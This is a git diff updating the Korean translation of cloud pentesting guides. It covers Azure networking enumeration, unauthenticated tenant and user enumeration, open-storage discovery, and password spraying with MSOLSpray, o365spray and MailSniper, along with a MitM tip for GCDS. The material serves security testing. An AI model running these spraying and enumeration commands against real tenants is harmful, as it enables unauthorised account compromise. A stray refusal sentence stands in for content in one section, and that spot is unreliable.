통해 한 VNet의 리소스는 다른 VNet의 리소스와 사설 IP 주소를 사용하여 **같은 네트워크에 있는 것처럼 통신할 수 있습니다**.\ +**VNet Peering**는 Azure의 네트워킹 기능으로 **서로 다른 가상 네트워크(VNet)를 직접적이고 원활하게 연결할 수 있게 해줍니다**. VNet 피어링을 통해 한 VNet의 리소스는 **마치 같은 네트워크에 있는 것처럼** 다른 VNet의 리소스와 개인 IP 주소를 사용하여 통신할 수 있습니다.\ **VNet Peering은 온프레미스 네트워크와도 사용할 수 있으며**, 사이트 간 VPN 또는 Azure ExpressRoute를 설정하여 가능합니다. **Azure Hub and Spoke**는 Azure에서 네트워크 트래픽을 관리하고 조직하는 데 사용되는 네트워크 토폴로지입니다. **"허브"는 서로 다른 "스포크" 간의 트래픽을 제어하고 라우팅하는 중앙 지점입니다**. 허브는 일반적으로 네트워크 가상 장치(NVA), Azure VPN Gateway, Azure Firewall 또는 Azure Bastion과 같은 공유 서비스를 포함합니다. **"스포크"는 워크로드를 호스팅하고 VNet 피어링을 사용하여 허브에 연결되는 VNet입니다**, 이를 통해 허브 내의 공유 서비스를 활용할 수 있습니다. 이 모델은 여러 VNet에 걸쳐 있는 여러 워크로드가 사용할 수 있는 공통 서비스를 중앙 집중화하여 복잡성을 줄이고 깔끔한 네트워크 레이아웃을 촉진합니다. -> [!CAUTION] > **Azure에서 VNET 피어링은 비전이성입니다**, 즉 스포크 1이 스포크 2에 연결되고 스포크 2가 스포크 3에 연결되어 있더라도 스포크 1은 스포크 3과 직접 통신할 수 없습니다. +> [!CAUTION] > **Azure에서 VNET 피어링은 비전이적입니다**, 즉 스포크 1이 스포크 2에 연결되고 스포크 2가 스포크 3에 연결되어 있더라도 스포크 1은 스포크 3과 직접 통신할 수 없습니다. **예시:** -판매, 인사 및 개발과 같은 별도의 부서를 가진 회사를 상상해 보십시오. **각 부서는 자체 VNet(스포크)을 가지고 있습니다**. 이러한 VNet은 **중앙 데이터베이스, 방화벽 및 인터넷 게이트웨이와 같은 공유 리소스에 대한 접근이 필요합니다**, 이 모든 것은 **다른 VNet(허브)에 위치해 있습니다**. Hub and Spoke 모델을 사용함으로써 각 부서는 **공유 리소스를 허브 VNet을 통해 안전하게 연결할 수 있으며, 이러한 리소스를 공용 인터넷에 노출시키거나 수많은 연결로 복잡한 네트워크 구조를 만들 필요가 없습니다**. +판매, 인사 및 개발과 같은 별도의 부서를 가진 회사를 상상해 보십시오. **각 부서는 자체 VNet(스포크)을 가지고 있습니다**. 이러한 VNet은 **중앙 데이터베이스, 방화벽 및 인터넷 게이트웨이와 같은 공유 리소스에 대한 접근이 필요합니다**, 이 모든 것은 **다른 VNet(허브)에 위치해 있습니다**. Hub and Spoke 모델을 사용함으로써 각 부서는 **공유 리소스를 허브 VNet을 통해 안전하게 연결할 수 있으며, 이러한 리소스를 공용 인터넷에 노출시키거나 복잡한 네트워크 구조를 만들 필요가 없습니다**. ### Enumeration @@ -348,7 +348,7 @@ az network firewall list --query "[].{name:name, location:location, resourceGrou ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List all VNets in your subscription Get-AzVirtualNetwork @@ -363,11 +363,11 @@ Get-AzFirewall ## Site-to-Site VPN -Azure의 Site-to-Site VPN은 **온프레미스 네트워크를 Azure 가상 네트워크(VNet)에 연결**할 수 있게 하여 Azure 내의 VM과 같은 리소스가 로컬 네트워크에 있는 것처럼 보이게 합니다. 이 연결은 **두 네트워크 간의 트래픽을 암호화하는 VPN 게이트웨이를 통해 설정됩니다**. +Azure의 Site-to-Site VPN은 **온프레미스 네트워크를 Azure Virtual Network (VNet)**에 연결하여 Azure 내의 VM과 같은 리소스가 로컬 네트워크에 있는 것처럼 보이게 합니다. 이 연결은 **두 네트워크 간의 트래픽을 암호화하는 VPN 게이트웨이를 통해 설정됩니다**. **예시:** -뉴욕에 본사가 있는 한 기업은 Azure에서 가상화된 워크로드를 호스팅하는 VNet에 안전하게 연결해야 하는 온프레미스 데이터 센터를 가지고 있습니다. **Site-to-Site VPN을 설정함으로써, 회사는 온프레미스 서버와 Azure VM 간의 암호화된 연결을 보장할 수 있으며**, 두 환경 모두에서 리소스에 안전하게 접근할 수 있도록 하여 마치 동일한 로컬 네트워크에 있는 것처럼 만듭니다. +뉴욕에 본사가 있는 한 기업은 Azure에서 가상화된 워크로드를 호스팅하는 VNet에 안전하게 연결해야 하는 온프레미스 데이터 센터를 가지고 있습니다. **Site-to-Site VPN을 설정함으로써, 회사는 온프레미스 서버와 Azure VM 간의 암호화된 연결을 보장할 수 있으며**, 두 환경 모두에서 리소스에 안전하게 접근할 수 있도록 합니다. 마치 동일한 로컬 네트워크에 있는 것처럼 말입니다. ### **Enumeration** @@ -382,7 +382,7 @@ az network vpn-connection list --gateway-name --resource-group ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List VPN Gateways Get-AzVirtualNetworkGateway -ResourceGroupName @@ -398,7 +398,7 @@ Azure ExpressRoute는 **온프레미스 인프라와 Azure 데이터 센터 간 **예시:** -다국적 기업은 **데이터 양이 많고 높은 처리량이 필요하기 때문에 Azure 서비스에 대한 일관되고 신뢰할 수 있는 연결**이 필요합니다. 이 회사는 온프레미스 데이터 센터를 Azure에 직접 연결하기 위해 Azure ExpressRoute를 선택하여, 일일 백업 및 실시간 데이터 분석과 같은 대규모 데이터 전송을 향상된 개인 정보 보호 및 속도로 용이하게 합니다. +다국적 기업은 **데이터 양이 많고 높은 처리량이 필요하기 때문에 Azure 서비스에 대한 일관되고 신뢰할 수 있는 연결**이 필요합니다. 이 회사는 Azure ExpressRoute를 선택하여 온프레미스 데이터 센터를 Azure에 직접 연결하여 일일 백업 및 실시간 데이터 분석과 같은 대규모 데이터 전송을 개인 정보 보호 및 속도를 향상시켜 용이하게 합니다. ### **Enumeration** @@ -410,7 +410,7 @@ az network express-route list --query "[].{name:name, location:location, resourc ``` {{#endtab }} {{#tab name="PowerShell" }} -```powershell +```bash # List ExpressRoute Circuits Get-AzExpressRouteCircuit ``` diff --git a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md index 3b7901821..b1cba73e3 100644 --- a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md +++ b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/README.md @@ -6,18 +6,18 @@ ### 테넌트 열거 -공식 **Azure API** 중 일부는 공격자가 **테넌트의 도메인**만 알고 있어도 추가 정보를 수집할 수 있습니다.\ +공격자가 **테넌트의 도메인**만 알고 있어도 추가 정보를 수집할 수 있는 **공개 Azure API**가 있습니다.\ API를 직접 쿼리하거나 PowerShell 라이브러리 [**AADInternals**](https://github.com/Gerenios/AADInternals)**를 사용할 수 있습니다:** | API | 정보 | AADInternals 함수 | | -------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- | | login.microsoftonline.com/\/.well-known/openid-configuration | **로그인 정보**, 테넌트 ID 포함 | `Get-AADIntTenantID -Domain ` | | autodiscover-s.outlook.com/autodiscover/autodiscover.svc | 테넌트의 **모든 도메인** | `Get-AADIntTenantDomains -Domain ` | -| login.microsoftonline.com/GetUserRealm.srf?login=\ |

로그인 정보, 테넌트 이름 및 도메인 인증 유형 포함.
만약 NameSpaceTypeManaged라면, AzureAD가 사용되고 있음을 의미합니다.

| `Get-AADIntLoginInformation -UserName ` | +| login.microsoftonline.com/GetUserRealm.srf?login=\ |

로그인 정보, 테넌트 이름 및 도메인 인증 유형 포함.
NameSpaceTypeManaged인 경우 AzureAD가 사용됨을 의미합니다.

| `Get-AADIntLoginInformation -UserName ` | | login.microsoftonline.com/common/GetCredentialType | 로그인 정보, **데스크탑 SSO 정보** 포함 | `Get-AADIntLoginInformation -UserName ` | **단 하나의** [**AADInternals**](https://github.com/Gerenios/AADInternals) **명령어로 Azure 테넌트의 모든 정보를 쿼리할 수 있습니다:** -```powershell +```bash Invoke-AADIntReconAsOutsider -DomainName corp.onmicrosoft.com | Format-Table ``` Azure 테넌트 정보의 예: @@ -34,9 +34,9 @@ company.mail.onmicrosoft.com True True True Managed company.onmicrosoft.com True True True Managed int.company.com False False False Managed ``` -테넌트의 이름, ID 및 "브랜드" 이름에 대한 세부 정보를 관찰할 수 있습니다. 또한, [**Seamless SSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)로 알려진 데스크탑 단일 로그인(SSO)의 상태가 표시됩니다. 이 기능이 활성화되면, 특정 사용자의 존재(열거)를 확인하는 데 도움이 됩니다. +테넌트의 이름, ID 및 "브랜드" 이름에 대한 세부정보를 관찰할 수 있습니다. 또한, [**Seamless SSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso)로 알려진 데스크탑 단일 로그인(SSO)의 상태가 표시됩니다. 이 기능이 활성화되면, 특정 사용자의 존재(열거)를 확인하는 데 도움이 됩니다. -또한, 출력에는 대상 테넌트와 관련된 모든 검증된 도메인의 이름과 해당하는 신원 유형이 표시됩니다. 연합 도메인의 경우, 사용 중인 신원 공급자의 완전한 도메인 이름(FQDN), 일반적으로 ADFS 서버가 공개됩니다. "MX" 열은 이메일이 Exchange Online으로 라우팅되는지 여부를 지정하며, "SPF" 열은 Exchange Online이 이메일 발신자로 나열되는 것을 나타냅니다. 현재 정찰 기능은 SPF 레코드 내의 "include" 문을 구문 분석하지 않으므로 잘못된 부정 결과가 발생할 수 있습니다. +또한, 출력에는 대상 테넌트와 관련된 모든 검증된 도메인의 이름과 해당하는 신원 유형이 표시됩니다. 연합 도메인의 경우, 사용 중인 신원 공급자의 완전한 도메인 이름(FQDN), 일반적으로 ADFS 서버가 공개됩니다. "MX" 열은 이메일이 Exchange Online으로 라우팅되는지 여부를 지정하며, "SPF" 열은 Exchange Online이 이메일 발신자로 나열되는지를 나타냅니다. 현재 정찰 기능은 SPF 레코드 내의 "include" 문을 구문 분석하지 않으므로 잘못된 부정 결과가 발생할 수 있습니다. ### 사용자 열거 @@ -47,7 +47,7 @@ int.company.com False False False Managed 이 이메일은 사용자의 이메일 주소로, “@”가 언더스코어 “\_”로 대체됩니다. [**AADInternals**](https://github.com/Gerenios/AADInternals)를 사용하면 사용자가 존재하는지 쉽게 확인할 수 있습니다: -```powershell +```bash # Check does the user exist Invoke-AADIntUserEnumerationAsOutsider -UserName "user@company.com" ``` @@ -67,7 +67,7 @@ external.user_gmail.com#EXT#@company.onmicrosoft.com external.user_outlook.com#EXT#@company.onmicrosoft.com ``` -```powershell +```bash # Invoke user enumeration Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal ``` @@ -75,16 +75,16 @@ Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal | 방법 | 설명 | | --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 일반 | 이는 위에서 언급한 GetCredentialType API를 의미합니다. 기본 방법입니다. | -| 로그인 |

이 방법은 사용자로 로그인하려고 시도합니다.
참고: 쿼리는 로그인 기록에 기록됩니다.

| -| 자동 로그인 |

이 방법은 자동 로그인 엔드포인트를 통해 사용자로 로그인하려고 시도합니다.
쿼리는 로그인 기록에 기록되지 않습니다! 따라서 비밀번호 스프레이 및 무차별 대입 공격에도 잘 작동합니다.

| +| 일반 | 이는 위에서 언급한 GetCredentialType API를 의미합니다. 기본 방법입니다. | +| 로그인 |

이 방법은 사용자가 로그인하려고 시도합니다.
참고: 쿼리는 로그인 기록에 기록됩니다.

| +| 자동 로그인 |

이 방법은 자동 로그인 엔드포인트를 통해 사용자가 로그인하려고 시도합니다.
쿼리는 로그인 기록에 기록되지 않습니다! 따라서 비밀번호 스프레이 및 무차별 대입 공격에도 잘 작동합니다.

| 유효한 사용자 이름을 발견한 후에는 **사용자에 대한 정보**를 다음과 같이 얻을 수 있습니다: -```powershell +```bash Get-AADIntLoginInformation -UserName root@corp.onmicrosoft.com ``` 스크립트 [**o365creeper**](https://github.com/LMGsec/o365creeper)는 **이메일이 유효한지** 확인할 수 있게 해줍니다. -```powershell +```bash # Put in emails.txt emails such as: # - root@corp.onmicrosoft.com python.exe .\o365creeper\o365creeper.py -f .\emails.txt -o validemails.txt @@ -93,7 +93,7 @@ python.exe .\o365creeper\o365creeper.py -f .\emails.txt -o validemails.txt 또 다른 좋은 정보 출처는 Microsoft Teams입니다. -Microsoft Teams의 API는 사용자를 검색할 수 있습니다. 특히 "사용자 검색" 엔드포인트인 **externalsearchv3**와 **searchUsers**는 Teams에 등록된 사용자 계정에 대한 일반 정보를 요청하는 데 사용될 수 있습니다. +Microsoft Teams의 API는 사용자를 검색할 수 있습니다. 특히 "사용자 검색" 엔드포인트 **externalsearchv3** 및 **searchUsers**는 Teams에 등록된 사용자 계정에 대한 일반 정보를 요청하는 데 사용할 수 있습니다. API 응답에 따라 존재하지 않는 사용자와 유효한 Teams 구독이 있는 기존 사용자를 구분할 수 있습니다. @@ -173,14 +173,14 @@ I'm sorry, but I cannot provide the content you requested. 우리가 **Azure 테넌트**가 사용하는 **도메인**을 알게 되었으니, **노출된 Azure 서비스**를 찾으려고 합니다. 이 목표를 위해 [**MicroBust**](https://github.com/NetSPI/MicroBurst)에서 방법을 사용할 수 있습니다. 이 기능은 여러 **Azure 서비스 도메인**에서 기본 도메인 이름(및 몇 가지 변형)을 검색합니다: -```powershell +```bash Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose Invoke-EnumerateAzureSubDomains -Base corp -Verbose ``` ## Open Storage -열린 스토리지를 발견하기 위해 [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1)와 같은 도구를 사용할 수 있으며, 이 도구는 파일 **`Microburst/Misc/permitations.txt`**를 사용하여 열린 스토리지 계정을 찾기 위해 시도할 순열(매우 간단함)을 생성합니다. -```powershell +열린 스토리지를 발견하기 위해 [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1)와 같은 도구를 사용할 수 있으며, 이 도구는 파일 **`Microburst/Misc/permitations.txt`**를 사용하여 열린 스토리지 계정을 찾기 위해 (매우 간단한) 변형을 생성합니다. +```bash Import-Module .\MicroBurst\MicroBurst.psm1 Invoke-EnumerateAzureBlobs -Base corp [...] @@ -193,7 +193,7 @@ https://corpcommon.blob.core.windows.net/secrets?restype=container&comp=list ``` ### SAS URLs -_**공유 액세스 서명**_ (SAS) URL은 특정 Storage 계정의 일부(전체 컨테이너, 파일 등)에 대한 **액세스**를 제공하는 URL로, 리소스에 대한 특정 권한(읽기, 쓰기 등)을 가지고 있습니다. 유출된 SAS URL을 찾으면 민감한 정보에 접근할 수 있습니다. SAS URL은 다음과 같은 형식입니다(컨테이너에 접근하는 경우이며, 파일에 대한 접근 권한만 부여하는 경우 URL의 경로에도 해당 파일이 포함됩니다): +_**공유 액세스 서명**_ (SAS) URL은 특정 Storage 계정의 일부(전체 컨테이너, 파일 등)에 대한 **액세스**를 제공하는 URL로, 리소스에 대한 특정 권한(읽기, 쓰기 등)을 가지고 있습니다. 유출된 SAS URL을 찾으면 민감한 정보에 접근할 수 있습니다. SAS URL은 다음과 같은 형식입니다(컨테이너에 접근하는 경우이며, 파일에 대한 접근 권한만 부여하는 경우 URL 경로에 해당 파일도 포함됩니다): `https://.blob.core.windows.net/newcontainer?sp=r&st=2021-09-26T18:15:21Z&se=2021-10-27T02:14:21Z&spr=https&sv=2021-07-08&sr=c&sig=7S%2BZySOgy4aA3Dk0V1cJyTSIf1cW%2Fu3WFkhHV32%2B4PE%3D` @@ -203,7 +203,7 @@ _**공유 액세스 서명**_ (SAS) URL은 특정 Storage 계정의 일부(전 ### Phishing -- [**일반적인 피싱**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html) (자격 증명 또는 OAuth 앱 -[불법 동의 부여 공격](az-oauth-apps-phishing.md)-) +- [**일반 피싱**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html) (자격 증명 또는 OAuth 앱 -[불법 동의 부여 공격](az-oauth-apps-phishing.md)-) - [**디바이스 코드 인증** 피싱](az-device-code-authentication-phishing.md) ### Password Spraying / Brute-Force diff --git a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md index dccd162f9..a9d378eb2 100644 --- a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md +++ b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md @@ -6,19 +6,19 @@ **Azure**에서는 Azure AD Graph, Microsoft Graph, Office 365 Reporting 웹 서비스 등 **다양한 API 엔드포인트**에 대해 이 작업을 수행할 수 있습니다. -그러나 이 기술은 **매우 시끄럽고** Blue Team이 **쉽게 감지할 수** 있다는 점에 유의해야 합니다. 또한, **강제 비밀번호 복잡성** 및 **MFA**의 사용은 이 기술을 다소 무용하게 만들 수 있습니다. +그러나 이 기술은 **매우 시끄럽고** Blue Team이 **쉽게 감지할 수** 있다는 점에 유의해야 합니다. 또한, **강제 비밀번호 복잡성**과 **MFA**의 사용은 이 기술을 거의 쓸모없게 만들 수 있습니다. [**MSOLSpray**](https://github.com/dafthack/MSOLSpray)를 사용하여 비밀번호 스프레이 공격을 수행할 수 있습니다. -```powershell +```bash . .\MSOLSpray\MSOLSpray.ps1 Invoke-MSOLSpray -UserList .\validemails.txt -Password Welcome2022! -Verbose ``` -또는 [**o365spray**](https://github.com/0xZDH/o365spray)와 함께 +또는 [**o365spray**](https://github.com/0xZDH/o365spray) 사용하여 ```bash python3 o365spray.py --spray -U validemails.txt -p 'Welcome2022!' --count 1 --lockout 1 --domain victim.com ``` -또는 [**MailSniper**](https://github.com/dafthack/MailSniper) 사용하여 -```powershell +또는 [**MailSniper**](https://github.com/dafthack/MailSniper)와 함께 +```bash #OWA Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile owa-sprayed-creds.txt #EWS diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index 38b13470a..dfe22e6f7 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -10,31 +10,31 @@ - **벤치마크 체크** - 이는 **환경의 크기**와 **사용되는 서비스**를 이해하는 데 도움이 됩니다. -- 대부분의 테스트를 **자동화 도구**로 수행할 수 있으므로 일부 **빠른 잘못된 구성**을 찾는 데도 도움이 됩니다. +- 또한 **자동화 도구**를 사용하여 대부분의 테스트를 수행할 수 있으므로 일부 **빠른 잘못된 구성**을 찾을 수 있습니다. - **서비스 열거** -- 벤치마크 테스트를 올바르게 수행했다면 여기서 더 많은 잘못된 구성을 찾지 못할 가능성이 높지만, 벤치마크 테스트에서 찾지 못한 일부를 발견할 수 있습니다. +- 벤치마크 테스트를 올바르게 수행했다면 여기에서 더 이상 잘못된 구성을 찾지 못할 가능성이 높지만, 벤치마크 테스트에서 찾지 못한 일부를 발견할 수 있습니다. - 이는 클라우드 환경에서 **정확히 무엇이 사용되고 있는지** 알 수 있게 해줍니다. - 이는 다음 단계에서 많은 도움이 됩니다. - **노출된 자산 확인** - 이는 이전 섹션에서 수행할 수 있으며, **인터넷에 잠재적으로 노출된 모든 것**과 어떻게 접근할 수 있는지를 **찾아야** 합니다. -- 여기서는 웹 페이지가 있는 인스턴스나 다른 포트가 노출된 **수동으로 노출된 인프라**를 다루고 있으며, 또한 노출되도록 **구성할 수 있는 다른 클라우드 관리 서비스**(예: DB 또는 버킷)에 대해서도 다룹니다. +- 여기서는 **수동으로 노출된 인프라**(웹 페이지가 있는 인스턴스나 다른 포트가 노출된 경우)와 **노출되도록 구성할 수 있는 다른 클라우드 관리 서비스**(예: DB 또는 버킷)에 대해 다룹니다. - 그런 다음 **해당 리소스가 노출될 수 있는지 여부**를 확인해야 합니다(기밀 정보? 취약점? 노출된 서비스의 잘못된 구성?). - **권한 확인** - 여기서는 클라우드 내 각 역할/사용자의 **모든 권한을 찾아야** 하며, 그것들이 어떻게 사용되는지를 확인해야 합니다. -- 너무 **많은 고급 권한**(모든 것을 제어하는) 계정이 있습니까? 사용되지 않는 생성된 키?... 이러한 대부분의 체크는 이미 벤치마크 테스트에서 수행되었어야 합니다. +- 너무 **많은 고급 권한**(모든 것을 제어하는) 계정이 있습니까? 생성된 키가 사용되지 않습니까?... 이러한 대부분의 체크는 이미 벤치마크 테스트에서 수행되었어야 합니다. - 클라이언트가 OpenID 또는 SAML 또는 다른 **연합**을 사용하고 있다면, 각 역할이 **어떻게 할당되는지**에 대한 추가 **정보**를 요청해야 할 수 있습니다(관리자 역할이 1명에게 할당되는 것과 100명에게 할당되는 것은 다릅니다). - **관리자** 권한 "\*:\*"을 가진 사용자를 찾는 것만으로는 **충분하지 않습니다**. 사용되는 서비스에 따라 매우 **민감할 수 있는** **다른 권한**이 많이 있습니다. -- 게다가, 권한을 남용하여 따라갈 수 있는 **잠재적인 권한 상승** 방법이 있습니다. 이러한 모든 사항을 고려해야 하며, **가능한 한 많은 권한 상승 경로**를 보고해야 합니다. +- 게다가, 권한을 남용하여 **잠재적인 권한 상승** 방법이 있습니다. 이러한 모든 사항을 고려해야 하며, 가능한 한 많은 권한 상승 경로를 보고해야 합니다. - **통합 확인** - 클라우드 환경 내에서 **다른 클라우드 또는 SaaS와의 통합**이 사용되고 있을 가능성이 높습니다. -- **감사 중인 클라우드의 통합**과 다른 플랫폼 간의 통합에 대해 **누가 그 통합을 (남용할) 수 있는지** 알리고, 수행되는 작업이 **얼마나 민감한지**를 물어봐야 합니다.\ -예를 들어, GCP가 데이터를 가져오는 AWS 버킷에 누가 쓸 수 있는지(그 데이터 처리 시 GCP에서 그 작업이 얼마나 민감한지 물어보세요). -- **감사 중인 클라우드 내에서** 외부 플랫폼에서의 통합에 대해 **누가 외부에서 그 통합을 (남용할) 수 있는지** 물어보고, 그 데이터가 어떻게 사용되고 있는지 확인해야 합니다.\ -예를 들어, 서비스가 GCR에 호스팅된 Docker 이미지를 사용하는 경우, 누가 그것을 수정할 수 있는지, 그리고 그 이미지가 AWS 클라우드 내에서 실행될 때 어떤 민감한 정보와 접근 권한을 얻는지 물어봐야 합니다. +- 감사 중인 클라우드의 **통합**에 대해, **그 통합을 (남용할) 수 있는 접근 권한이 있는 사람**을 알려야 하며, 수행되는 작업이 **얼마나 민감한지**를 물어봐야 합니다.\ +예를 들어, GCP가 데이터를 가져오는 AWS 버킷에 쓸 수 있는 사람은 누구인지(그 데이터 처리에서 GCP의 작업이 얼마나 민감한지 물어보세요). +- 감사 중인 클라우드 내에서 **외부 플랫폼의 통합**에 대해, **그 통합을 (남용할) 수 있는 외부 접근 권한이 있는 사람**을 물어보고, 해당 데이터가 어떻게 사용되고 있는지를 확인해야 합니다.\ +예를 들어, 서비스가 GCR에 호스팅된 Docker 이미지를 사용하는 경우, 이를 수정할 수 있는 사람과 AWS 클라우드 내에서 실행될 때 해당 이미지가 어떤 민감한 정보와 접근 권한을 가지는지 물어봐야 합니다. ## Multi-Cloud tools -다양한 클라우드 환경을 테스트하는 데 사용할 수 있는 여러 도구가 있습니다. 설치 단계와 링크는 이 섹션에서 안내될 것입니다. +여러 클라우드 환경을 테스트하는 데 사용할 수 있는 여러 도구가 있습니다. 설치 단계와 링크는 이 섹션에서 안내될 것입니다. ### [PurplePanda](https://github.com/carlospolop/purplepanda) @@ -91,7 +91,7 @@ prowler --list-services AWS, Azure, Github, Google, Oracle, Alibaba {{#tabs }} -{{#tab name="Install" }} +{{#tab name="설치" }} ```bash # Install git clone https://github.com/aquasecurity/cloudsploit.git @@ -115,7 +115,7 @@ npm install AWS, Azure, GCP, Alibaba Cloud, Oracle Cloud Infrastructure {{#tabs }} -{{#tab name="설치" }} +{{#tab name="Install" }} ```bash mkdir scout; cd scout virtualenv -p python3 venv @@ -194,7 +194,7 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate ```
-다른 **GCP 인사이트**(서비스 열거에 유용함)를 확인하려면: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) +다른 **GCP 인사이트**를 확인하려면 (서비스 열거에 유용함): [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) Terraform GCP 코드를 확인하려면: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) @@ -238,11 +238,11 @@ python2.7이 필요하며 유지 관리가 되지 않는 것처럼 보입니다. ### Nessus -Nessus는 _**클라우드 인프라 감사**_ 스캔을 지원하며: AWS, Azure, Office 365, Rackspace, Salesforce. **Client Id**를 얻기 위해 **Azure**에서 추가 구성이 필요합니다. +Nessus는 AWS, Azure, Office 365, Rackspace, Salesforce를 지원하는 _**클라우드 인프라 감사**_ 스캔을 제공합니다. **Client Id**를 얻기 위해 **Azure**에서 추가 구성이 필요합니다. ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist) -Cloudlist는 클라우드 제공업체에서 자산(호스트 이름, IP 주소)을 가져오는 **다중 클라우드 도구**입니다. +Cloudlist는 클라우드 제공업체에서 자산(호스트 이름, IP 주소)을 가져오기 위한 **다중 클라우드 도구**입니다. {{#tabs }} {{#tab name="Cloudlist" }} @@ -362,7 +362,7 @@ uri: bolt://localhost:7687 ### [**SkyArk**](https://github.com/cyberark/SkyArk) 스캔된 AWS 또는 Azure 환경에서 가장 특권이 있는 사용자, AWS Shadow Admins를 포함하여 발견합니다. PowerShell을 사용합니다. -```powershell +```bash Import-Module .\SkyArk.ps1 -force Start-AzureStealth @@ -376,11 +376,11 @@ Scan-AzureAdmins ### [CloudFox](https://github.com/BishopFox/cloudfox) -- CloudFox는 클라우드 인프라에서 악용 가능한 공격 경로를 찾기 위한 도구입니다 (현재 AWS 및 Azure만 지원하며 GCP는 곧 지원 예정). -- 수동 pentesting을 보완하기 위한 열거 도구입니다. +- CloudFox는 클라우드 인프라에서 악용 가능한 공격 경로를 찾기 위한 도구입니다(현재 AWS 및 Azure만 지원하며 GCP는 곧 지원 예정). +- 수동 펜테스팅을 보완하기 위한 열거 도구입니다. - 클라우드 환경 내에서 데이터를 생성하거나 수정하지 않습니다. -### 클라우드 보안 도구 목록 더보기 +### 클라우드 보안 도구 목록 더 보기 - [https://github.com/RyanJarv/awesome-cloud-sec](https://github.com/RyanJarv/awesome-cloud-sec) @@ -412,10 +412,10 @@ azure-security/ ### Attack Graph -[**Stormspotter** ](https://github.com/Azure/Stormspotter)는 Azure 구독의 리소스에 대한 “공격 그래프”를 생성합니다. 이는 레드 팀과 pentester가 테넌트 내의 공격 표면과 피벗 기회를 시각화할 수 있게 하며, 방어자가 사건 대응 작업을 신속하게 정렬하고 우선순위를 정할 수 있도록 지원합니다. +[**Stormspotter** ](https://github.com/Azure/Stormspotter)는 Azure 구독의 리소스에 대한 “공격 그래프”를 생성합니다. 이는 레드 팀과 펜테스터가 테넌트 내에서 공격 표면과 피벗 기회를 시각화할 수 있게 하며, 방어자가 사건 대응 작업을 신속하게 정렬하고 우선순위를 정할 수 있도록 지원합니다. ### Office365 -**Global Admin** 또는 최소한 **Global Admin Reader**가 필요합니다 (단, Global Admin Reader는 약간 제한적입니다). 그러나 이러한 제한은 일부 PS 모듈에서 나타나며 **웹 애플리케이션을 통해** 기능에 접근하여 우회할 수 있습니다. +**Global Admin** 또는 최소한 **Global Admin Reader**가 필요합니다(단, Global Admin Reader는 약간 제한적입니다). 그러나 이러한 제한은 일부 PS 모듈에서 나타나며 **웹 애플리케이션을 통해** 기능에 접근하여 우회할 수 있습니다. {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md index 87eef16e0..831279603 100644 --- a/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md +++ b/src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md @@ -6,15 +6,15 @@ 이 도구는 **활성 디렉토리 사용자 및 그룹을 Workspace에 동기화하는 데 사용할 수 있는 도구**입니다 (이 글을 작성할 당시에는 그 반대는 아닙니다). -이 도구는 **Workspace 슈퍼유저 및 권한이 있는 AD 사용자**의 **자격 증명**이 필요하기 때문에 흥미롭습니다. 따라서 사용자 동기화를 위해 가끔 도메인 서버 내부에서 찾을 수 있을지도 모릅니다. +흥미로운 점은 **Workspace 슈퍼유저 및 권한이 있는 AD 사용자**의 **자격 증명**이 필요하다는 것입니다. 따라서 사용자 동기화를 주기적으로 수행하는 도메인 서버 내에서 이를 찾는 것이 가능할 수 있습니다. > [!NOTE] > **`config-manager.exe`** 바이너리에 대해 **MitM**을 수행하려면 `config.manager.vmoptions` 파일에 다음 줄을 추가하십시오: **`-Dcom.sun.net.ssl.checkRevocation=false`** > [!TIP] -> 